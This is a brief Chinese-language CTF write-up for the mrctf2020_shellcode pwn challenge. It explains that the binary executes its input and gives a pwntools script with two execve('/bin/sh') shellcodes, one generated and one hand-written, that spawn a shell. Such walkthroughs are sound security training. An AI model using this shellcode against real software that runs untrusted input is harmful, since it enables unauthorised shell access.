题目来自视频:
链接:https://pan.baidu.com/s/17vX9dbfHkXBw71mcEXBgNQ?pwd=6666
提取码:6666
查看文件类型和保护,虽然现在的我·还没有明白太多的保护。
64位,放到ida里边
rbp:保存的是栈中当前执行函数的基本地址。当前执行函数所有存储在
栈上的数据都要靠rbp指针加上偏移量来读取。、
rsp:栈指针,永远指向栈顶。
这里使用了视频说这里用了 call rax所以不能用F5
最重要的是最后,call rax,[rbp+buf]
他的意思就是执行输入的内容
那么如果我们输入shellcode不久获取到了权限了吗。
可以用gdb检查下执行权限
先下断点到main然后运行
然后再vmmap
最后一个栈是可以执行的。也就是我们写入的数据。
脚本:
这里的脚本有两个shellcode
一个是手写的,另一个是pwn生成的。
选其一即可。
from pwn import *
context(os='linux',arch='amd64',terminal=['tmux','sp','-h']) //声明系统
#p=remote('node3.buuoj.cn',27250)
p=process('./mrctf2020_shellcode') //本地连接
shellcode1=shellcraft.sh() // 用pwntools生成shellcode
payload1=asm(shellcode1) //asm将shellcode(汇编)转换成机器码
shellcode2='''
mov rbx,0x68732f6e69622f
push rbx
push rsp
pop rdi
xor esi,esi
xor edx,edx
push 0x3b
pop rax
syscall
'''
payload2=asm(shellcode2)
#gdb.attach(p)
p.send(payload2)
#p.send(payload1)
p.interactive() //进行交互相当于回到shell的模式,在取得shell之后使用